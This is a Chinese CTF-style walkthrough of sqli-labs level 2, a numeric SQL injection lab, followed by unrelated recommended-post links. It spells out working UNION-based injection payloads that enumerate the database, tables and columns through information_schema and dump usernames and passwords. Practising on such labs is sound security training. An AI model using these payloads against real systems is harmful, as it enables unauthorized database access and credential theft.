sqli-labs靶场第二关——数字型

一:查找注入类型:

输入

sql 复制代码
?id=1'--+

与第一关的差别:报错;

说明不是字符型

渐进测试:?id=1--+,结果正常,说明是数字型

二:判断列数和回显位

sql 复制代码
?id=1 order by 3--+

正常, 说明有三列,然后找回显点

sql 复制代码
?id=-1 union select 1,2,3--+

三:找数据库名

sql 复制代码
?id=-1 union select 1,database(),3--+

得到数据库名:security

四:找所有的表和列

表:

sql 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

复习拆解句子:(直接查询)

group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息

table_name:表名

information_schema.table:数据库中所有表的信息

table_schema:数据库名

列:

sql 复制代码
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

复习拆解:(嵌套查询)

1.内层又加上select的原因: 要嵌套查询,顺序如下:

表 → 子查询(group_concat)→ 作为值插入外层SELECT的列

column_name:列名

infromation_schema.columns:包含所有表的列的信息

table_schema:数据库名

table_name:表名

五:查数据!

sql 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

六:复盘总结

如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):

相关推荐
哆啦A梦15886 小时前
Springboot整合MyBatis实现数据库操作
数据库·spring boot·mybatis
Zzzzmo_6 小时前
【MySQL】JDBC(含settings.xml文件配置/配置国内镜像以及pom.xml文件修改)
数据库·mysql
FirstFrost --sy7 小时前
MySQL内置函数
数据库·mysql
2401_879693877 小时前
将Python Web应用部署到服务器(Docker + Nginx)
jvm·数据库·python
reembarkation7 小时前
光标在a-select,鼠标已经移出,下拉框跟随页面滚动
java·数据库·sql
eggwyw8 小时前
MySQL-练习-数据汇总-CASE WHEN
数据库·mysql
星轨zb8 小时前
通过实际demo掌握SpringSecurity+MP中的基本框架搭建
数据库·spring boot·spring security·mp
treacle田8 小时前
达梦数据库-配置本地守护进程dmwatcher服务-记录总结
数据库·达梦数据库·达梦数据库local数据守护
wyt5314298 小时前
Redis的安装教程(Windows+Linux)【超详细】
linux·数据库·redis
CeshirenTester9 小时前
从数据库到结构化用例:一套可落地的测试智能体架构
数据库·架构